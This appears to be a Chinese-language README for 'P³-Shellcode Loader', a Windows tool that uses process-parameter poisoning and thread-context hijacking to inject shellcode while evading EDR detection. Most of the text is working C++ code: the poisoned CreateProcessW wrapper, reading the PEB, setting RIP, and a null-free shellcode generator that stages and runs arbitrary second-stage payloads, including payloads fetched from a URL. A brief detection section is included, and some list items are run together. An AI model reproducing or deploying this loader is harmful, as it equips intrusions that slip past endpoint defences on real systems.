P³-Shellcode Loader 是一个加载器,它实现了一种代码注入技术,该技术利用进程参数结构作为 shellcode 注入到远程进程的执行和暂存位置,而不会触发常见的检测机制。
作者:Max Hirschberger & Ogulcan Ugur
P³-Shellcode Loader 是一个加载器,实现了一种代码注入技术,该方法利用进程参数结构(进程参数投毒)作为Shellcode注入远程进程的执行和暂存位置,且不会触发常见的检测机制。
类似的概念曾由安全研究员 modexp 描述,他展示了传递给 CreateProcess API 的参数可被用于此目的 [1]。
攻击者希望使其活动看起来不那么可疑。通过进程注入,攻击者能够从一个更受信任或预期执行特定活动的其他进程中执行其操作,从而降低嫌疑。
以下是将代码注入另一个进程所需的典型步骤:
OpenProcess / NtOpenProcess 或 CreateProcess / NtCreateProcess)。VirtualAllocEx / NtAllocateVirtualMemory)。WriteProcessMemory / NtWriteVirtualMemory)。VirtualProtectEx / NtProtectVirtualMemory)。CreateRemoteThread 或 NtCreateThreadEx)。其他注入技术包括但不限于以下:
NtSetContextThread)NtQueueApcThread)RtlCreateProcessReflection,该API实现进程分叉。
在我们的测试中,我们观察到大多数EDR专注于特定的遥测数据以检测进程注入。EDR主要监视 WriteProcessMemory 和 VirtualAllocEx 的使用,以及它们底层的内核系统调用 NtWriteVirtualMemory、NtAllocateVirtualMemory 和 NtAllocateVirtualMemoryEx。Windows 提供用于创建新进程的API函数 CreateProcessW,如清单1所示。其前三个参数 lpCommandLine、lpEnvironment 和 lpStartupInfo 与所描述的注入技术相关,因为它们用于将数据传输到新进程。```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*清单1:CreateProcessW Windows API函数定义*
`lpCommandLine`参数指定新进程的命令行。它限制为最多32,767个unicode字符,包括unicode空终止符。对于unicode变体,必须提供一个函数可以写入的字符串。如果提供常量字符串,API函数进行的任何写入尝试都会导致内存访问违规。如果值为`NULL`,则进程的命令行将从`lpApplicationName`参数获取。如果`lpApplicationName`为`NULL`,则必须在`lpCommandLine`字段中提供,并且限制为`MAX_PATH`字符。
`lpEnvironment`参数向进程提供环境变量列表。如果值为`NULL`,将使用创建进程的环境。环境变量列表由连续的以null结尾的字符串组成,格式为`NAME=VALUE`,末尾还有一个null终止符。
`lpStartupInfo`参数是一个结构体,如清单2所示,包含窗口站、桌面、标准输入和输出句柄等字段,以及配置新进程主窗口的字段。根据微软文档,`lpReserved`字段保留供内部使用,没有进一步文档。通过使用WinDbg调试器进行分析,可以将此参数与新进程中的类型为`UNICODE_STRING`的`ShellInfo`变量关联起来。```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
Listing 2: STARTUPINFOW 数据结构布局
在新进程创建时,所有提供的进程参数都会写入进程环境块 (PEB)。PEB 是一种存在于所有进程中且每个进程独有的数据结构。参数可通过 ProcessParameters 成员访问,其类型为 RTL_USER_PROCESS_PARAMETERS。除了进程参数外,该结构还包含进一步的运行时信息,例如已加载模块的列表。PEB 的结构以及 RTL_USER_PROCESS_PARAMETERS 中的相关进程参数如 Listing 3 和 Listing 4 所示。```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*清单3:PEB数据结构布局*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
列表4:RTL_USER_PROCESS_PARAMETERS 数据结构布局
图1展示了 ShellInfo 参数,其中 lpReserved 字段提供了恶意值,用于 STARTUPINFOW 结构。此外,图2展示了系统信息工具中受控制的命令行。
图1:被污染的 ShellInfo 参数
图2:被污染的命令行
由于可能存在多个用于复制恶意代码的参数,列表5中的包装函数会创建一个进程,并将污染参数传递给选定的进程参数。运行所实现的注入器时,可按图3所示进行选择。此外,可以为 lpApplication 中使用的目标应用程序提供任意值,用户提示如图4所示。```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*清单5:CreateProcessWithPoison的实现*
此函数实现了三种不同的参数选择:
1. **ShellInfo注入:** 将毒药放置在`lpStartupInfo`参数的`lpReserved`字段中,该字段将被复制到PEB中的`ShellInfo`变量
2. **环境注入:** 将毒药放置在`lpEnvironment`参数中,并设置`CREATE_UNICODE_ENVIRONMENT`标志
3. **命令行注入:** 将毒药放置在`CreateProcessW`的`lpCommandLine`参数中
<img width="753" height="445" alt="图片" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*图3:可选毒化参数的选择*
<img width="752" height="167" alt="图片" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*图4:目标应用程序可执行文件的选择*
### 4.2 在新进程中定位注入的数据
进程创建成功后,可以通过PEB结构找到注入的数据。定位新进程中的毒药需要以下三个步骤。
首先,通过调用`NtQueryInformationProcess`确定PEB结构的起始地址。当使用信息类`ProcessBasicInformation`调用时,`NtQueryInformationProcess`会检索数据结构`PROCESS_BASIC_INFORMATION`。而`PROCESS_BASIC_INFORMATION`在`PebBaseAddress`字段中包含PEB的地址。此步骤如清单6所示。```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
清单6:定位注入数据的第一步
在第二步中,通过以第一步检索到的结构起始地址调用 NtReadVirtualMemoryEx 来读取 PEB 结构。第二步的实现如清单7所示。```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*列表7:定位注入数据的第二步*
读取PEB后,`ProcessParameters`字段包含新进程中`RTL_USER_PROCESS_PARAMETERS`结构的起始地址。在第三步中,该结构也会从新进程中读取。指向注入数据的指针位于此结构内部。第三步如列表8所示。```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
列表8:定位注入数据的第三步
这种方法仅使用内存读取API,而不使用EDR关注的写入或分配API。然而,参数存在一个限制。由于这些参数是以空字符结尾的字符串,只有不含空终止符的shellcode才能完整传输。第5节给出了克服这一限制的解决方案。
传输代码后,进程的执行仍需要定向到该代码。此外,由于参数未被放置到标记为可执行的区域,因此需要调整注入数据的内存保护。
要更改保护,使用Windows API NtProtectVirtualMemory将保护从仅可读可写更改为仅可读可执行。
要将代码执行重定向到shellcode,存在以下三种方法:
CreateRemoteThread / NtCreateThreadEx: 创建一个从shellcode开始的新线程QueueUserAPC / NtQueueApcThread: 在现有线程上排队APC,最终将其重定向到shellcode在该技术的初始实现中,评估了Dirty Vanity方法用于执行代码。然而,多个EDR对此方法发出了警报。
仔细查看RtlCreateProcessReflection的实现发现,它调用了NtWriteVirtualMemory和NtCreateThreadEx。本质上,它在目标进程中创建一个线程来执行ntdll.dll内的一个函数。该函数既通过调用RtlCloneUserProcess创建分叉进程,也向分叉进程执行内存写入。
由于NtWriteVirtualMemory是EDR使用的主要指标之一,Dirty Vanity方法只会引起不必要的怀疑。
相反,使用主线程上下文的操纵,因为它相比Dirty Vanity具有以下优势:
CreateProcessW已经在PROCESS_INFORMATION结构中为主线程提供了一个有效的句柄。句柄是内核提供的用于与系统资源(如进程、线程和文件)交互的抽象引用对象。句柄本质上是进程特定句柄表的索引,该表将每个句柄映射到内核中的一个对象,并带有对该对象的关联访问级别。NtWriteVirtualMemory、VirtualAllocEx和CreateRemoteThread,仅调用NtSetContextThread。线程上下文是所有处理器寄存器的状态。因此,可以通过操纵其上下文(即更改指令指针寄存器)来重定向线程的执行流。通常,按以下步骤操纵线程上下文:
SuspendThread或创建线程时使其处于挂起状态,将目标线程置于挂起状态GetThreadContext将当前上下文读入CONTEXT数据结构RIPSetThreadContext将修改后的上下文写入线程ResumeThread以恢复线程在新RIP值处的执行可以在不先挂起线程的情况下更改线程上下文。因此,无需调用可能被EDR监控用于进程注入的SuspendThread和ResumeThread。此外,如果不需要在后续恢复先前的执行,还可以跳过调用GetThreadContext。最终的实现如列表9所示。```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}
*清单9:在ThreadSetExec中操作线程上下文*
### 4.4 实现的有效载荷注入
我们对这种注入技术的实现包括图5中所示的以下四种有效载荷选项。
1. 第一个选项是一个简单的演示,弹出一个窗口,如图5所示。此选项不需要额外的shellcode或要注入的可执行文件。
2. 第二个选项接受shellcode的十六进制表示并注入它。如果shellcode包含空字节,则使用第5节中描述的方法注入。
3. 第三个选项接受一个DLL文件的路径,然后将其提供给目标内的`LoadLibraryA`。
4. 最后,第四个选项从HTTP(S) URL加载原始shellcode,并处理空字节限制。
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*图5:注入的Shellcode选择*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*图6:Shellcode创建的消息框*
---
## 5. 在字符串中传递任意Shellcode
不可能在参数内传递任意数据。这是因为只有直到空终止符的数据才会被复制。为了克服这个限制,我们构建了一个不产生空终止符的shellcode生成器。
这个shellcode生成器可以创建用于调用`MessageBoxA`、`LoadLibraryA`、`NtTerminateProcess`或`NtSuspendThread`的shellcode,并带有任意参数。此外,它还可以生成解码任意第二阶段shellcode并跳转到它的shellcode。
它是在`ShellCodeWriter` C++类中实现的,包含私有辅助方法和用于公开功能的公共方法。实现细节将在下面解释。
### 5.1 shellcode生成器使用的低级辅助方法
`Xor`被用作原语,允许shellcode生成任何数据,包括零字节。这个原语在辅助方法`SetRAXXOR`中实现,该方法接受两个64位值。它发出shellcode,对给定的64位值执行异或操作,并将结果保存在`RAX`寄存器中。
额外的辅助方法`SetRAX`创建两个64位值,当异或时得到给定值。它还确保这两个64位值不包含零字节。本质上,`SetRAX`发出shellcode,将`RAX`寄存器设置为任意64位值。
`SetRAXXOR`和`SetRAX`都在清单10中显示。此外,三个示例`SetRAX`调用的结果机器代码如清单11所示。```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
列表10: SetRAXXOR 和 SetRAX 的实现```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*清单11: SetRAX发出的代码示例*
`SetRAX` 是辅助方法 `PushValue`、`PushBuffer`、`SetArgRegister` 和 `SetArgRegisterStackRelative` 的基础。`PushValue` 调用 `SetRAX` 后紧跟一条 `push RAX` 指令,从而允许将任意值压入栈中。`PushBuffer` 使用 `PushValue` 在栈上写入任意字节数组;为此,它将数据拆分为64位值,并逆序压入。由于每次压栈后栈指针都会递减,因此需要逆序操作。Shellcode 生成器通过 `m_total_consumed_stack_bytes` 变量跟踪已压入的字节数。该变量在 `FreeStack` 辅助方法中用于清理栈,将栈指针恢复至初始值。
在 Windows 64 位 x86 应用程序二进制接口中,调用函数时前四个参数分别使用寄存器 `RCX`、`RDX`、`R8` 和 `R9`。附加参数在32字节的影子空间之后压入栈中。影子空间是为被调用函数保留的,用于保存前四个参数寄存器。`SetArgRegister` 和 `SetArgRegisterStackRelative` 用于设置这四个参数寄存器之一。`SetArgRegister` 将给定寄存器设为任意常量值。而 `SetArgRegisterStackRelative` 生成的代码将栈指针加上常量偏移量写入相应的参数寄存器。任何额外的函数参数都可以通过 `PushValue` 辅助方法压入栈中。
辅助方法 `Call` 会发出如下代码:先将栈指针对齐到16字节,然后对给定地址执行调用,最后撤销最初所做的任何对齐更改。需要16字节对齐的栈指针,以防止在使用XMM浮点寄存器操作的函数中崩溃。当调用参数通过栈传递的函数时,必须在调用此辅助方法之前正确对齐。否则,参数会落在错误的栈偏移位置。
### 5.2 高层操作的实现
最简单的操作是调用 `NtTerminateProcess` 或 `NtSuspendThread`。由于二者相似,这里仅介绍 `NtTerminateProcess`,如清单12所示。`NtTerminateProcess` 接受两个参数,并遵循 x64 调用约定。首先,对这两个参数分别调用辅助方法 `SetArgRegister`,以使用提供的值初始化它们。然后调用API函数。
由于 Shellcode 在同一台机器上生成,函数地址在生成时解析,而不是在 Shellcode 内部。解析API函数由 `WinApiResolver` 类处理。最后,`Call` 辅助方法生成调用指令和栈对齐代码。```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
清单 12:ShellCodeWriter::CallTerminateProcess 的实现
使用诸如 LoadLibraryA 和 MessageBoxA 这类接受指针值的函数时,无法以相同方式处理。这是因为需要有效的内存地址,而该地址在生成 shellcode 时是未知的。因此,辅助函数 SetArgRegisterStackRelative 用于将参数设置为栈上的地址。在清单 13 中,模块参数字符串被写入栈,第一个参数寄存器被设置为指向栈上模块字符串的起始位置。此外,该函数将栈指针移动 32 字节,以考虑影子空间。如果不这样做,被调用的函数会覆盖模块字符串。```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*列表13:ShellCodeWriter::CallLoadLibraryA的实现*
最后,`LoadAndCallShellCode`接收一个可以包含零字节的任意shellcode并执行它。其实现如列表14和15所示,分为以下五个操作:
1. 通过`PushBuffer`将任意shellcode写入堆栈。之后,分配影子空间以保护shellcode不被覆盖。
2. 接下来,调用`VirtualAlloc`,使用生成时已知的参数。此API调用分配具有读写保护且能容纳shellcode的内存。
3. 随后,将`VirtualAlloc`返回的内存地址保存到两个寄存器`R12`和`R10`中。然后将`R11`初始化为shellcode的大小,并将`RCX`设置为指向shellcode的起始位置。设置好寄存器`R10`、`R11`和`RCX`后,接下来有六条指令执行内存拷贝,将shellcode复制到新分配的内存区域。
4. 此时还不能跳转到shellcode,因为内存区域是读写保护的。虽然可以分配读写且可执行的内存区域,但这更可能被认为可疑。因此,调用`VirtualProtect`将保护更改为可读可执行但不可写。
5. 最后,在确保堆栈正确对齐后,跳转到shellcode。```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
清单 14:ShellCodeWriter::LoadAndCallShellCode 的实现(步骤 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*列表15:ShellCodeWriter::LoadAndCallShellCode 的实现(步骤4-5)*
---
## 6. 该技术规避检测的优势
该技术的一大优势在于,执行期间不会以挂起状态创建任何进程,也不会挂起任何线程或进程。创建挂起进程或重复调用 `SuspendThread` 是EDR用于检测进程挖空、进程注入及类似攻击的已知指标。
此外,通过创建目标进程,主线程的句柄已经可用,并具备更改其上下文所需的访问权限。
| 方面 | 经典注入 | 进程参数投毒 |
|---|---|---|
| 内存分配 | 需要 `VirtualAllocEx` | 无需显式分配 |
| 内存写入 | 需要 `WriteProcessMemory` | 间接通过 `CreateProcessW` |
| 重定向执行 | `CreateRemoteThread` 或 APC | `SetThreadContext` |
| 检测概率 | 高(大量可疑API) | 降低(良性进程创建) |
| EDR 遥测 | 密切监控 | 可观察性降低 |
总体而言,该技术通过使用合法的进程创建和线程管理API,留下了更小的指纹,从而大大降低嫌疑。
---
## 7. 检测方法
该技术会产生几个可疑指标,可用于检测。
- `VirtualProtectEx` 使内存区域可执行,随后以至少 `CONTEXT_CONTROL` 调用 `SetThreadContext`。值得注意的是,指令指针不需要指向该可执行区域,因为它可以指向一个随后重定向它的gadget。然而,指向内存区域的指针极有可能被写入某个CPU寄存器。
- `VirtualProtectEx` 使进程参数页面可执行,无论是在自身进程还是外部进程中。
- 创建一个进程,其中三个被滥用的参数之一引起怀疑。例如,如果命令行的熵接近shellcode的熵,或者远离正常命令行的熵值。此外,提供的参数长度过长,或包含许多非常见字符。然而,仅依赖此方法可能容易产生误报。
- 读取远程进程的进程参数结构(PEB中有一个指向该结构的指针)。
---
## 8. 结论
总之,攻击者可以通过新的思路和小幅修改来绕过现代安全解决方案,无论是开发新技术还是以新颖方式重新应用旧技术。
因此,持续开发新的检测规则,而不是仅仅依赖现有解决方案,非常重要。
---
## 9. 参考文献
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/